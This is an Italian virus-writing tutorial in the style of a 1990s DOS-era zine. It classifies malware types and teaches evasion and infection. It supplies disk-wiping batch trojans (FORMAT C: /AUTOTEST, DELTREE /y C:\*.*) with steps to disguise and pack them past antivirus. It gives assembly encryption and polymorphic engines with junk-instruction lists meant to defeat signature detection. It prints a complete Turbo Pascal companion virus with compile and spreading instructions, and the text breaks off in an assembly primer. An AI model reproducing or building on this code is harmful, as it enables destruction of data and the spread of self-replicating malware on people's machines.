ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍViRiiÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ ViR0PEÑiA v1.0 ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Teoria & Tecnica della Programmazione Virale
I-II parte
INTRODUZIONE
Cos'Š un virus informatico? Analogamente ai virus biologici, un parassita
informatico Š un organismo capace di replicarsi tramite portatori sani e capace
di causare malfunzionamenti al sistema. E' ovvio che nel paragone con la parola
organismo si vuole intendere un blocco di codice, di istruzioni,
fondalmentalmente un virus informatico Š solo un programmma, diverso da quelli
normali, magari anche un po' intelligente, ma sempre un programma. Gli studi
condotti sui virus informatici finora hanno classificato e ripartito i
parassiti in diverse specie: la prima differenza Š a livello generale, la
seconda classificazione invece Š pi— specifica (riguarda il codice e le
funzioni proprie del virus stesso).
Iø CLASSIFICAZIONE
- trojan horse (=cavallo di troia)
- virus
- worm
(=verme)
TROJAN HORSE
Un trojan horse non Š propriamente un virus, ma un programma distruttivo pronto
a esplodere. Con questo si vuole intendere che mentre lo scopo del virus Š
cercare di restare nascosto il pi— possibile e replicarsi, lo scopo del cavallo
di troia Š danneggiare esplicitamente un sistema. Sono chiamati trojan horse
perch‚ di solito vengono distribuiti sotto false spoglie, magari fingendo di
essere programmi ambiti o molto ricercati dall'utenza. Famosi trojan horse
furono quelli che reclamavano il PKZIP300B. Alcuni esempi pratici? I BAT-trojan
horse sono i pi— semplici e efficaci da costruire, usando un qualsiasi editor
di testo:
C:\>EDIT TROJAN1.BAT
@FORMAT C: /AUTOTEST
C:\>EDIT TROJAN2.BAT
@DELTREE /y C:\*.*
Il carattere "@" serve a nascondere l'echo su schermo del comando (altrimenti
l'utente si accorgerebbe subito di cosa succede). Nel primo caso viene
utilizzata una piccola backdoor del comando FORMAT, precisamente il parametro
/AUTOTEST. Di solito l'esecuzione di questo comando a rischio chiede sempre
all'utente di ripensarci, prima di avviare la formattazione.
C:\>FORMAT C:
ATTENZIONE: TUTTI I DATI SUL DISCO FISSO C: ANDRANNO PERSI
Continuare con la formattazione (S/N)?
Tuttavia usando /AUTOTEST questa richiesta non viene effettuata e parte
direttamente la formattazione del disco (non si sa perch‚ la Microsoft abbia
lasciato questo strano parametro). Stessa cosa per il comando DELTREE, che
combinato con l'opzione /y rimuove tutti i files e tutte le cartelle dal disco
C. Varianti simili si possono ottenere con il normale comando DEL del DOS. Per
rendere uno di questi trojan horse pi— infido e intercettabile dall'utente
ignaro potete procedere come segue:
- create il file BAT col trojan senza usare il comando @
- usate una utility tipo BAT2COM per convertire il file BAT in un eseguibile
COM
- per rendere la dimensione del trojan pi— grande (quindi pi— credibile) usate
COPY /B trojan.com + command.com final.com
- comprimete il file FINAL.COM usando PKLITE.COM oppure DIET, ICE
In questo modo sar… veramente difficile rilevare il trojan nel file, anche per
un antivirus. Rientrano nella categoria anche le Logic Bomb (=bombe logiche)
che sono dei particolari trojan attivati da un evento temporale o dal
verificarsi di una certa condizione.
WORM
Concetto pi— avanzato di virus, si pu• definire come un virus che viaggia e si
riproduce lungo le reti. Il pi— famoso nella storia Š quello di Robert Morris
jr., giovane americano che negli anni '80 riusc• a mandare in tilt migliaia di
computer a causa di una replicazione incontrollata del suo verme, che sfruttava
un vecchio bug del sendmail. Oggi non esistono ancora worm perfezionati a tal
punto da propagarsi cos• rapidamente, questo anche a causa dei numerosi e
diversi sistemi presenti su Internet, ma tuttavia Unix/Linux e Java sembrano
terreno fertile per lo sviluppo dei worm.
VIRUS
Ecco l'argomento principale di cui ci occuperemo. I virus, studiati ormai da
anni, sono classificati in modo specifico in base al funzionamento.
IIø CLASSIFICAZIONE
I- FLOPPY BOOT e MBR VIRUS
Infettano un particolare settore dei dischi, quello iniziale, di avvio. Nei
dischetti tale settore contiene il codice che visualizza il famoso messaggio:
"Disco non di avvio / Sostituire il disco e premere un tasto". Nel disco
rigido invece si parla di Master Boot Record (=record di avviamento principale)
meglio conosciuto come MBR. Furono i primi virus ad essere creati e a
diffondersi rapidamente, oggi in fase di estizione a causa dell'accesso 32-bit
di Windows 95 ai dischi.
Virus famosi: Form, PingPong, Stoned, AntiEXE, NYB-B1, DiskKiller, Michelangelo
II- DOS-EXEC FILE VIRUS
Stragrande maggioranza di virus, capaci di infettare i files eseguibili del
sistema operativo.
I loro bersagli preferiti sono i file COM e EXE del DOS. Rientrano in questa
categoria anche alcuni virus che infettano i normali file BAT, facilmente
scopribili. Oggi in via di estinzione.
Virus famosi: November 17, Jerusalem, Ontario, Vienna
III- WIN-EXEC FILE VIRUS
Nuovi virus, che possono infettare diversi tipi di oggetti:
NE-EXE
SCR
PE-EXE
VXD
NewExecutable
ScreenSaver
PortableExecutable
Device Driver
File EXE per Windows 3.1 16-bit
File SCR per Windows 3.1 16-bit
File EXE per Windows 95 32-bit
File VXD per Windows 95 32-bit
Esistono solo una quindicina di virus di questo tipo, ancora non tanto
perfezionati.
IV- MACRO VIRUS
La moda del momento, ovvero i virus scritti in VBA (Visual Basic for
Application). Sono virus multipiattaforma (possono funzionare sia su sistemi
Windows che su Macintosh) in quanto non dipendono dal sistema operativo ma da
una particolare applicazione che consente l'uso di macro, cioŠ di comandi
automatici. Ecco i programmi suscettibili a questo tipo di infezione:
MS-WORD 6.0 - 95 - 97
MS-EXCEL 5.0 - 95 - 97
LOTUS AMIPRO
File di tipo DOC
File di tipo XLS
File di tipo SAM, SMM
esiste poi una categoria di applicazioni "a rischio" ancora in fase di
sperimentazione (Lotus 1-2-3) e in genere tutte le applicazioni che permettono
l'uso di macro.
Virus famosi: Concept, Wazzu, Laroux, Alliance
V- MULTIPARTITO
Quando un virus riesce ad infettare diversi oggetti di quelli sopra elencati,
si definisce multipartito. Esempi:
Flip.2153
Junkie.1027
Win.Apparition
Win.Ph33r
MBR + DOS-EXEC
FLOPPY + MBR + DOS-EXEC
WIN-EXEC + MACRO
DOS-EXEC + WIN-EXEC
Esiste infine un'ultima suddivisione, fatta in base alla tipologia di virus,
cioŠ guardando proprio le funzioni e il codice interno del programma-virus.
IIIø CLASSIFICAZIONE
I- Virus COMPANION
Virus elementari, molto facili da rimuovere che sfruttano un buco offerto dal
DOS. Sotto DOS esiste una grossa ambiguit… quando si verifica una condizione
simile: una directory contiene 2 files (PIPPO.COM e PIPPO.EXE), lanciando il
comando "C:\>PIPPO" senza specificare null'altro, quale dei due files sar…
caricato prima? Ebbene il sistema Microsoft carica sempre prima i file COM
quando viene specificata l'estensione, per cui Š facile intuire come si
comportano i virus Companion:
- cerca un file .EXE nella directory
- crea un secondo file, con lo stesso identico nome ma con estensione .COM
- nascondi il file .COM per ingannare l'utente (ATTRIB +H)
Quando l'utente digita "PIPPO", crede di aver caricato "PIPPO.EXE", quando in
realt… non sa che Š stato avviato il virus conenuto in "PIPPO.COM" che di certo
avr… infettato un altro file.
II- Virus AZIONE DIRETTA
Si chiamano cos• perch‚ agiscono direttamente infettando i files delle
directory. Ogni volta che un programma infetto viene eseguito, il virus esegue
una scansione dei files presenti nella directory corrente (o in altre directory
predefinite come C:\DOS, C:\, C:\WINDOWS) alla ricerca di possibili "vittime".
Una volta trovato un "ospite", il virus lo contagia e quindi passa ad eseguire
il programma originale per non destare i sospetti dell'utente.
III- Virus TSR
Categoria gi… pi— complessa di virus, in quanto riesce a rimanere attiva, di
nascosto, all'interno del sistema operativo, sostituendo parti di esso. I virus
TSR (Terminate and Stay Resident) riservano una porzione di memoria per s‚
stessi (solitamente memoria alta) o sfruttano dei buchi di RAM non usati dal
DOS dove potersi copiare, quindi acquistano una priorit… maggiore rispetto al
sistema operativo stesso per alcune operazioni "a rischio" come apertura di un
file, esecuzione di un file, rename, attrib, accesso a un dischetto, ecc.
Ognuna di queste operazioni pu• essere intercettata dal parassita che prima di
eseguire la vera procedura, infetta l'oggetto in uso (file o dischetto).
IV- Virus STEALTH
Quando un virus Š attivo in memoria, pu• interferire col sistema operativo e
pu• farlo anche bene. La simbiosi pu• essere tale che il parassita prende il
controllo totale su alcune funzioni base del DOS. Tra le cose che un virus pu•
fare ovviamente rientra la capacit… di far apparire tutto normale, cioŠ
nascondere tutti i sintomi e i segnali di allarme che possano farlo
individuare. Questa tecnica Š detta "stealth" ed esistono varianti notevoli di
questo furbo stratagemma:
SIZE HIDING
Se un virus X Š lungo 100 bytes, tutti i files infetti avranno la loro
dimensione aumentata di 100. Un virus pu• intercettare il comando "DIR" e
sottrarre il valore 100 alla dimensione dei file infetti, facendoli sembrare
non infetti all'output del comando.
MBR STEALTH
Un virus che infetta l'MBR, salva una copia del vecchio master boot record
prima di sostituirlo con il codice virale. Quando un antivirus va a leggere
l'MBR, il parassita intercetta la lettura e restituisce la copia originale
salvata, mascherando l'infezione presente.
CLEAN ON-THE-FLY
Il virus pu• intercettare tutte le operazioni di lettura sui files e
modificarne l'output. Se ad esempio un programma prova a leggere un file
infetto, il virus, attivo in memoria, intercetta l'operazione e ripulisce il
file prima della lettura, rendendolo trasparente al controllo. Una volta finita
l'operazione, il virus re-infetta il file. E' questo uno dei metodi pi—
efficaci, che riesce ad annullare anche i controlli tramite CRC-checksum.
V- Virus ENCRYPTED (=cifrati)
Un virus Š un programma come tanti altri, quindi formato da righe di codice.
Ogni virus viene infatti identificato dall'antivirus attraverso una particolare
sequenza di istruzioni in linguaggio macchina (stringa) che Š propria di ogni
parassita. Questa stringa non Š altro che una serie di bytes, ognuno dei quali
corrisponde ad una istruzione assembler o a un testo particolare racchiuso nel
virus. Ad esempio in tutti i files infetti dal virus Tai-Pan.438 Š possibile
leggere questa stringa "[Whisper presenterar Tai-Pan]", il che rende il virus
facilmente identificabile. Meglio ancora Š l'identificazione tramite il codice
vero e proprio del virus: tutti i files infetti dal virus Tai-Pan.438 infatti
presentano queste istruzioni:
Bytes
Codice Macchina
E80000
CALL xxxx
5E
POP SI
83EE03
SUB SI,+03
B8CE7B
MOV AX,7BCE
CD21
INT 21
3DCE7B
CMP AX,7BCE
7517
JNZ yyyy
0E
PUSH CS
1F
POP DS
dove "xxxx" e "yyyy" sono valori generici che cambiano per ogni file. Quindi il
virus Tai-Pan Š riconoscibile ricercando questa stringa esadecimale
"E800005E83EE03B8CE7BCD213DCE7B75170E1F". Per ovviare questo riconoscimento ed
essere meno riconoscibili i virus ricorrono alla cifratura del codice
(encryption). Il codice cioŠ si presenta in questo modo:
VIRUS NON CIFRATO
VIRUS CIFRATO
1: istr1
0: DECIFRATORE
2: istr2
1: istrX
3: istr3
2: istrY
4: __..
3: istrZ
5: "esempio"
4: ____.
5: "hqhrtac"
Il virus non cifrato Š facilmente riconoscibile dalle istruzioni che lo
compongono e anche dalla stringa di testo "esempio" presente al suo interno. Lo
stesso virus, in forma cifrata, diventa irriconoscibile, poich‚ ogni istruzione
viene camuffata e trasformata in un'altra totalmente diversa di significato;
cos• anche il testo, diventa una stringa incomprensibile. Inoltre il sistema di
cifratura utilizza una chiave (di solito 8/16-bit) che pu• essere fissa ma
anche variabile, cioŠ mutevole ad ogni infezione. Questo significa che il corpo
cifrato del virus varia per ogni file infetto. Ovviamente in capo al virus deve
esserci un decifratore capace di riportare allo stato originale il codice del
virus. Ecco ad esempio il motore cifrante dello Junkie.1027, presente sempre in
testa al virus:
Riga
0001:
0002:
0003:
0004:
0005:
0006:
0007:
0008:
Bytes
Istruzione
BE8FE0 MOV SI,0008
B9F401 MOV CX,01F4
26
ES:
8134BC2E
XOR WORD PTR [SI],2EBC
46
INC SI
46
INC SI
E2F7
LOOP $0001
%qui inizia il corpo del virus in forma cifrata
La prima istruzione punta l'inizio del corpo del virus (riga 0008); la seconda
imposta il numero di bytes da decifrare, solitamente corrispondente alla
lunghezza del virus stesso (01F4 = 500 WORD = 1000 BYTES ¯ 1027). Ecco di
seguito l'operatore crittografico "XOR" che lavora usando una chiave a 16-bit
(1 WORD). Quindi ci sono le istruzioni di scarto per passare alla word
successiva e infine l'istruzione ciclica LOOP. Questo Š un esempio generico di
motore crittografico, le varianti possono essere le pi— svariate, a partire
dagli operatori matematici usati (XOR, ADD, SUB, NOT, ADC, SBB) o sulle
istruzioni cicliche (cambiabili con salti condizionati JZ, JNZ).
VI- Virus POLIMORFICI
Utilizzando la tecnica della cifratura un virus diventa riconoscibile solo ed
esclusivamente dal suo motore crittografico, ma usando le opportune accortezze
Š possibile realizzare dei parassiti che modificano questo motore cifrante ad
ogni infezione. Cos• Š difficile che 2 files infetti dallo stesso virus
risultino simili. Questa tecnica, denominata polimorfismo, viene realizzata sia
usando dei tools esterni (MtE, TPE, DAME, DSCE, SMEG) che vengono linkati al
corpo del virus, sia scrivendo un proprio codice polimorfico all'interno del
virus.
Grosso modo una routine polimorfa segue questo schema di funzionamento:
- la prima cosa da fare Š scrivere un motore crittografico molto flessibile,
dove le istruzioni possano essere scambiate, usando diversi operatori
crittografici, il motore dello Junkie.1027 visto prima pu• andare bene:
0001:
0002:
0003:
0004:
0005:
BE0800 MOV SI,0008
B9F401 MOV CX,01F4
26
ES:
8134BC2E
XOR WORD PTR [SI],2EBC
46
INC SI
0006:
0007:
0008:
46
INC SI
E2F7
LOOP $0001
%qui inizia il corpo del virus in forma cifrata
l'operatore crittografico XOR pu• essere variato, usando ad esempio ADD e SUB
che generano i seguenti codici:
0004:
8104BC2E
ADD
WORD PTR [SI],2EBC
0004:
812CBC2E
SUB
WORD PTR [SI],2EBC
abbiamo in totale quindi 3 trasformazioni del nostro motore (XOR, ADD, SUB),
dove per• cambia solo un bytes. Un'altra variazione si pu• operare sul segmento
dati ES, nei file COM possiamo usare in alternativa anche i segmenti DS e CS.
0003:
2E
CS:
0003:
3E
DS:
Con quest'altre due variazioni il numero di trasformazioni cresce a 9, con due
bytes di differenza. Altra modifica possibile Š sul registro di indirizzamento
dati SI, che pu• essere alternato con DI e BX generando numerose varianti di
codice:
Usando BX
0001:
BB0800
MOV BX,0008
/ 8137BC2E
XOR WORD PTR [BX],2EBC
0004:
- | 8107BC2E
ADD WORD PTR [BX],2EBC
\ 812FBC2E
SUB WORD PTR [BX],2EBC
0005:
46
INC BX
Usando SI
0001:
BF0800
MOV DI,0008
/ 8135BC2E
XOR WORD PTR [DI],2EBC
0004:
- | 8105BC2E
ADD WORD PTR [DI,2EBC
\ 812DBC2E
SUB WORD PTR [DI],2EBC
0005:
47
INC DI
In questo modo le combinazioni ottenute crescono veramente tanto e il motore si
riduce a qualcosa del tipo:
0001:
0002:
0003:
0004:
0005:
0006:
0007:
??0800 MOV ??,0008
B9F401 MOV CX,01F4
??
??:
81??BC2E
??
WORD PTR [??],2EBC
??
INC ??
??
INC ??
E2F7
LOOP $0001
Dove l'indirizzo "0008" e la chiave di cifratura "2EBC" variano da file a file,
quindi la stringa del virus si riduce a soli 6 bytes costanti:
"?? ?? ?? B9 F4 01 ?? 81 ?? ?? ?? ?? ?? E2 F7"
niente male, davvero! Si pu• ancora migliorare il polimorfismo di questo motore
usando le "junk instruction", ovvero del codice inutile e indifferente che pu•
essere inserito per spezzare i bytes costanti. Ecco alcuni esempi di junk che
non alterano il codice di un programma:
- aggiunge il valore "0" a un registro 16-bit
050000 ADD AX,0000
83C600 ADD SI,+00
83C500 ADD BP,+00
- toglie il valore "0" a un registro 16-bit
83EB00 SUB BX,+00
83EF00 SUB DI,+00
83EC00 SUB SP,+00
- stesse di prima ma su registri a 8-bit
0400 ADD AL,00
80E900 SUB CL,00
- PUSH e POP una dietro l'altra
50
PUSH AX
58
POP AX
- caricamento di un registro 16-bit con s‚ stesso
89C0
MOV AX,AX
89FF
MOV DI,DI
89ED
MOV BP,BP
- caricamento di un registro 16-bit con s‚ stesso
87DB
XCHG BX,BX
87F6
XCHG SI,SI
87E4
XCHG SP,SP
- stesse di prima ma su registri a 8-bit
88C0
MOV AL,AL
88F6
MOV DH,DH
86DB
XCHG BL,BL
86ED
XCHG CH,CH
- salti condizionali inutili (0-jump)
EB00
JMP seguente
7500
JNZ seguente
7400
JZ seguente
7F00
JG
seguente
7700
JA
seguente
E la lista potrebbe continuare, c'Š solo l'imbarazzo della scelta. Inserendo
istruzioni di questo tipo dentro al codice non solo si sende il codice pi—
contorto da districare, ma si rende la lunghezza della stringa variabile,
modificando ogni volta la posizione dei pochi bytes costanti rimasti.
PRIMA LEZIONE
Programmazione di un virus Companion usando Turbo Pascal
La maggioranza dei virus viene scritta in linguaggi a basso livello, che
operano pi— velocemente e pi— vicino al cuore del sistema operativo; tuttavia
tentativi di realizzare virus usando linguaggi ad alto livello (tipo BASIC,
C++, PASCAL) sono stati fatti, con risultati pi— o meno buoni. Questa specie di
virus viene identificata dalla sigla "HLLx", che sta per "High Level Language"
mentre la "x" identifica meglio il tipo di parassita:
O=overwriting virus (virus che sovrascrive i files durante le infezioni, con
danni irreparabili)
C=companion virus
P=parasitic virus
L'esempio di questa lezione sar… un semplice virus di tipo Companion (HLLC
quindi) scritto usando il pi— comune dei linguaggi: il Turbo Pascal. E'
richiesta solo una conoscenza base (non approfondita) del linguaggio per capire
il listato del virus.
}--------------------------> INIZIO <---------------------------{
{Type: COMPANION VIRUS
Desc: Ricerca e infetta 1 file EXE, creando il file COM corrispondente con una
copia del virus. Ogni dir contiene al massimo 3 file EXE infetti}
{$M 1024,0,1024}
{Direttive al compilatore per ottimizzare l'uso
di memoria RAM}
PROGRAM VIRUS_SAMPLE1;
USES DOS,CRT,STRINGS;
TYPE CHARFILE=FILE OF CHAR;
VAR File1,File2: SearchRec;
VirFile: string[12];
F,G: CHARFILE;
anno, mese, giorno, nomegiorno: Word;
{Ricava il nome del file COM dall'EXE trovato}
PROCEDURE ConverteNomeEXE(VAR File1:SearchRec);
VAR i:integer;
BEGIN
i:=0;
WHILE (i<=8) AND (File1.Name[i]<>'.') DO BEGIN
VirFile[i]:=File1.Name[i];
inc(i);
END;
virfile[i]:='.';
virfile[i+1]:='C';
virfile[i+2]:='O';
virfile[i+3]:='M';
END;
{Riceve un file Sorgente e uno Destinazione e li copia}
PROCEDURE CopiaFile(VAR S,D:CHARFILE);
VAR byte:char;
BEGIN
ASSIGN(D,VirFile); ASSIGN(S,File2.Name);
REWRITE(D); RESET(S);
WHILE NOT EOF(S) DO BEGIN
READ(S,byte);
WRITE(D,byte);
END;
CLOSE(S); CLOSE(D);
END;
{Modifica il file COM per eseguire l'applicazione ospite}
PROCEDURE ModificaFile(VAR F:CHARFILE);
VAR i:integer; byte:char;
BEGIN
RESET(F);
SEEK(F,1081);
i:=0;
WHILE (i<=8) AND (File1.Name[i]<>'.') DO BEGIN
WRITE(F,File1.Name[i]);
inc(i);
END;
byte:='.'; WRITE(F,byte);
byte:='E'; WRITE(F,byte);
byte:='X'; WRITE(F,byte);
byte:='E'; WRITE(F,byte);
byte:=chr(00); WRITE(F,byte);
CLOSE(F);
END;
{Main}
BEGIN
ClrScr;
{cancella lo schermo}
FindFirst('*.EXE', Archive, File1);
{cerca il primo file EXE}
{se Š stato trovato almeno un file EXE si prosegue}
IF DosError = 0 THEN BEGIN
ConverteNomeEXE(File1);
{Vede se esiste gi… un COM nascosto, quindi il file Š gi… infetto}
FindFirst(VirFile, Hidden, File2);
{se non esiste c'Š errore e si pu• procedere con l'infezione}
IF DosError<>0 THEN BEGIN
FindFirst('*.COM', Hidden, File2);
CopiaFile(G,F);
ModificaFile(F);
SetFAttr(F, 34);
END
ELSE BEGIN
{se il primo EXE Š gi… infetto cerca il secondo EXE}
FindNext(File1);
ConverteNomeEXE(File1);
FindFirst(VirFile, Hidden, File2);
IF DosError<>0 THEN BEGIN
FindFirst('*.COM', Hidden, File2);
CopiaFile(G,F);
ModificaFile(F);
SetFAttr(F, 34);
END
ELSE BEGIN
{se il secondo EXE Š gi… infetto cerca il terzo EXE}
FindNext(File1);
ConverteNomeEXE(File1);
FindFirst(VirFile, Hidden, File2);
IF DosError<>0 THEN BEGIN
FindFirst('*.COM', Hidden, File2);
CopiaFile(G,F);
ModificaFile(F);
SetFAttr(F, 34);
END;
END;
END;
END;
{routine di attivazione "payload}
GetDate(anno,mese,giorno,nomegiorno);
IF (mese=1) AND (giorno=1) THEN BEGIN
CLRSCR;
WRITELN('Date:',giorno,'/',mese,'/',anno);
WRITELN('Right Moment to Buy an Antivirus!');
WRITELN;
WRITELN('HLLC.7200 Companion Virus');
WRITELN('Pascal Sample Written for VIROPEDIA
1.0');
READLN;
END;
{ritorna all'esecuzione del programma originale}
Exec('12345678.EXE','');
END.
}---------------------------> FINE <----------------------------{
Per compilare questo virus bisogna usare queste accortezze:
- compilare il sorgente usando TURBO PASCAL o BP
- rinominare il file ottenuto con "12345678.COM"
- impostare al file attributo nascosto "ATTRIB +H 12345678.COM"
- creare un file EXE ospite per il virus col nome "12345678.EXE"
potete creare il file ospite usando lo stesso Pascal (per restare in tema.)
PROGRAM FIRST_HOST;
BEGIN
WRITELN('HLLC.7200 Virus Sample for Viropedia');
WRITELN('Primo ospite campione per');
WRITELN('la replicazione del virus');
END.
Il virus Š ora pronto, basta copiare i file "12345678.COM" e "12345678.EXE" per
diffonderlo. Il suo metodo di infezione consiste nel ricercare fino a 3 file
EXE nella dir corrente e a creare un file COM corrispondente nascosto. Il file
COM contiene una copia del virus che viene eseguita subito, quindi il file
ritorna il controllo al file EXE originale. L'attivazione di questo virus
(innocua) consiste nel mostrare un messaggio a video il giorno 1 Gennaio di
qualsiasi anno.
SECONDA LEZIONE
Nozioni base di Assembly
Come tutti voi sapete i virus sono scritti in un linguaggio molto vicino a
quello "naturale" del computer, l'Assembly; i listati scritti in questo
linguaggio sono caratterizzati dall'estensione ASM (a volte anche A86). Prima
di passare alla scrittura di un virus in assembly, facciamo una breve
carrellata su questo linguaggio e sulle sue funzionalit….
ALGEBRA
Un buon programmatore assembly deve conoscere necessariamente l'aritmetica
binaria e quella esadecimale. Il nostro sistema tradizionale di numerazione
(decimale) usa 10 simboli (0-1-2-3-4-5-6-7-8-9) per rappresentare i numeri; il
sistema binario ne usa solo 2 (0-1), quello esadecimale, abbreviato con "hex",
ne usa 16 (0-1-2-3-4-5-6-7-8-9-A-B-C-D-E-F). Il fattore di conversione Š un
puro calcolo matematico; ovviamente un numero rappresentato in binario occuper…
pi— cifre di uno in decimale, mentre uno in forma hex sar… meno lungo di uno
decimale.
Esempio:
DEC=1234
BIN=10011010010
HEX=4D2
Sotto ASM Š possibile gestire molto praticamente questi 3 diversi sistemi di
numerazione, quello di default Š il decimale, ma Š possibile scrivere numeri
negli altri formati aggiungendo "B" e "H" alla fine del numero.
Esempio:
10011010010B
4D2H
I numeri hex non possono cominciare con
una lettera
A55H non Š ammesso, 0A55H s•
REGISTRI
Gli elementi chiave dell'assembly sono i registri, ovvero delle particolari
celle di memoria che possono memorizzare determinati valori. La dimensione dei
registri dipende dal processore e dalla compilazione usata, inizieremo a
lavorare con i registri a 16-bit (2 BYTE=1 WORD).
Registri a 16-bit
AX
SI
BX
CX
DX
DI
CS
DS
ES
BP
SP
IP
SS
I primi 4 registri sono ancora suddivisi in registri a 8-bit, che indicano
rispettivamente la parte alta e la parte bassa del registro.
AX
BX
CX
DX
SI
DI
Accumulatore
(diviso in AH e AL)
Puntatore memoria
(diviso in BH e BL)
Contatore dei cicli (diviso in CH e CL)
Dati
(diviso in DH e DL)
Sorgente dati
Destinazione dati
Abbiamo poi i registri di segmento, che indicano delle porzioni di memoria RAM
da 64K.
CS
DS
ES
SS
Code Segment
Data Segment
Extra Segment
Stack Segment
(segmento codice in esecuzione)
(segmento zona dati)
(segmento aggiuntivo)
(segmento stack)
BP
SP
IP
Base Pointer
(punta la cima dello stack)
Stack Pointer
(punta la fine dello stack)
Instruction Pointer (punta l'istruzione corrente)
I registri che possono indirizzare la memoria, cioŠ riferirsi a dei dati
contenuti in un certo punto della RAM, sono solo BX,SI e DI. Nei processori 386
e superiori esistono i registri a 32-bit che richiedono debugger particolari
per il loro controllo.
Registri a 32-bit
EAX
EBX
ESI
EDI
CS
DS
EBP
ECX
ES
ESP
EDX
SS
FS
GS
EIP
Volete vedere dal vivo i registri? Usate il comando del dos chiamato "DEBUG"
(lo userete molto spesso!) e seguite l'esempio:
C:\>DEBUG
-R
AX=0000 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0E3C ES=0E3C SS=0E3C CS=0E3C IP=0100 NV UP EI PL NZ NA PO NC
0E3C:0100 37
AAA
Il comando "R" vi d… lo stato attuale dei registri, inoltre viene restituita
anche l'istruzione da eseguire (AAA), con il relativo codice hex. L'istruzione
seguente Š sempre puntata dall'indirizzo CS:IP. Esistono poi alcuni "tester"
chiamati FLAG. Essi sono degli switch che possono valere 0 o 1 e scattano in
date condizioni:
CF
Carry Flag
Flag di riporto, indica un riporto nelle somme e nelle
sottrazioni.
PF
Parity Flag
Bit di parit…, viene usato nei processi di comunicazione
ZF
Zero Flag
Se Š settato indica che il risultato di una operazione
Š zero
SF
Sign Flag
Flag di segno, indica se considerare il numero in
assoluto o col segno
TF
Trap Flag
Usato dal debugger per controllare l'esecuzione
passo-passo (trappola)
DF
Direction
Indica il verso in cui bisogna lavorare con le stringhe
(1=avanti, 0=indietro)
ISTRUZIONI BASE
Ora che conoscete i registri possiamo passare alla presentazione di alcune
istruzioni base del linguaggio, le pi— comuni e usate:
ADD
Addizione tra due registri, tra un numero e un registro, tra un'area di memoria
e un registro, tra un'area di memoria e un numero. Esempio:
Codice
Istruzione
053412
01D0
00F4
00DC
0307
0207
80C199
ADD AX,1234 ;aggiunge in AX il valore 1234H
ADD AX,DX ;aggiunge in AX il valore di DX
ADD AH,DH ;aggiunge in AH il valore di DH
ADD AH,BL ;aggiunge in AH il valore di BL
ADD AX,[BX] ;aggiunge in AX il valore WORD puntato
dall'indirizzo di BX
ADD AL,[BX] ;aggiunge in AX il valore BYTE puntato
dall'indirizzo di BX
ADD CL,99 ;aggiunge in CL il valore 99H
Come potete notare Š possibile operare solo con registri della stessa
dimensione o con registri e valori dello stesso formato. Ad esempio
un'addizione del numero 1234 (16-bit) al registro AL (8-bit) Š errata. Inoltre
in caso di ambiguit… bisogna specificare se il dato da manipolare Š di tipo
WORD (16-bit) o di tipo BYTE (8-bit), usando l'istruzione "PTR"
800711
81073412
ADD BYTE PTR [BX],11
ADD WORD PTR [BX],1234
Se il numero risultato eccede per il registro, il flag di riporto verr… settato
su ON. L'istruzione non pu• accedere direttamente ai registri di segmento, ad
esempio se si vuole aggiungere 100 a DS bisogna farlo indirettamente.
SUB
Funzione inversa di ADD, effettua la sottrazione tra numeri, registri o valori.
Stesso funzionamento di ADD.
INC / DEC
Nel caso di addizione o sottrazione di 1, si possono usare queste due
istruzioni, molto pi— veloci e ridotte in termini di spazio:
050100
83EB01
^^^^^^^
3 bytes
ADD
SUB
AX,0001
BX,+01
^^
1 byte
40
4B
INC
DEC
AX
BX
Non si possono usare direttamente sui registri di segmento.
MOV
Muove un valore dentro a un registro, o un registro dentro un altro registro,
un valore dentro un'area di memoria o un registro dentro un'area di memoria.
B83412
MOV AX,1234
; carica in AX il valore 1234H
89FE
MOV SI,DI
; carica in SI il valore di DI
C7073412
MOV WORD PTR [BX],1234
; carica nella zona puntata da
[BX] 1234H
8907
MOV [BX],AX
; carica nella zona puntata da
[BX] AX
Usando questa istruzione Š possibile accedere ai registri di segmento e
modificarli:
8CDA
81C20001
8EC2
MOV DX,DS ; carica in DX il valore di DS
ADD DX,0100 ; aggiunge 100H a DX
MOV ES,DX ; carica in ES il valore di DX
Non sono ammesse manipolazioni sui registri CS e IP.
PUSH / POP
Permettono di salvare un registro o il valore puntato da un registro nello
stack per poi ripristinarlo.
Domanda: quanto vale AX dopo aver eseguito queste istruzioni:
B80001 MOV AX,0100
50
PUSH AX
050001 ADD AX,0100
58
POP AX
Risposta: vale ancora 100H, perch‚ il valore viene salvato con PUSH e poi
ripristinato.
In questo modo Š anche possibile manipolare i registri di segmento, come
abbiamo visto prima con l'istruzione MOV.
1E
5A
81C20001
52
1F
PUSH DS
POP DX
ADD DX,0100
PUSH DX
POP DS
E' l'equivalente dell'istruzione MOV vista poc'anzi. Non si possono tuttavia
salvare registri a 8-bit (PUSH AL non Š ammessa). PUSH va a memorizzare il
valore all'indirizzo puntato dal registro SP e sottrae 2 a questo registro; la
POP si comporta inversamente, restituisce il valore puntato da SP e gli
aggiunge 2.
NOP
E' un'istruzione progettata per non fare nulla, assolutamente nulla. A cosa
serve direte voi?? Per le ottimizzazioni di codice, cioŠ per sincronizzare le
esecuzioni e i trasferimenti dati. Il suo codice esadecimale Š 90H.
CMP
Istruzione di confronto, serve per confrontare tra di loro due registri, delle
posizioni di memoria.
39D8
38D8
39FE
3904
CMP
CMP
CMP
CMP
AX,BX
AL,BL
SI,DI
[SI],AX
3B0F
CMP
CX,[BX]
3D3412
CMP
AX,1234
; confronto tra registri 16-bit
; confronto tra registri 8-bit
; confronto tra registri 16-bit
; confronto tra valore puntato e
registro
; confronto tra registro e valore
puntato
; confronto tra registro e valore
diretto 16-bit
; confronto tra registro e valore
diretto 8-bit
803C12
CMP BYTE PTR [SI],12 ; confronto tra val. puntato e val.
diretto 8-bit
813D3412
CMP WORD PTR [DI],1234 ; confronto tra val. puntato e val.
diretto 16-bit
Non si possono confrontare tra di loro due valori diretti o due valori puntati
contemporaneamente. Occorre caricare uno di essi prima in un registro e poi
eseguire il confronto su quel registro.
80FC12
CMP
AH,12
JMP
